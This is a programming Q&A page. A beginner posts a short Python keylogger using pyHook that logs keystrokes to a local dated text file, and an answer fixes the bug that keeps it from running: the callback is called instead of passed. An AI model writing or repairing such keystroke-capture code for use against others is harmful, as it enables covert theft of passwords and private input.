1

I just started to program in Python. My first "project" is a keylogger. I've read several lines of code posted on here and other forums. I wrote this code, which should log pressed keys and begin a new line within the .txt file everytime the enter key is hit. Could somebody please give me some advice?

import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt' 

def OnKeyboardEvent(event):
    if event.Ascii:
        log = open(file_log,"a")
        char = chr(event.Ascii)
        if event.Ascii == 13:
            log.write('\n')
        log.write(char)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()

Thanks and best regards!

Edit: The file doesn't seem to start, as no new process or log file is created upon start

1
  • Advice on what? Is something not working? Commented Nov 24, 2016 at 0:08

1 Answer 1

2

Compare with example at https://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/

You'll see your line

hm.KeyDown = OnKeyboardEvent()

should not have the trailing (). You want KeyDown to get the function, not the results of the function.

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.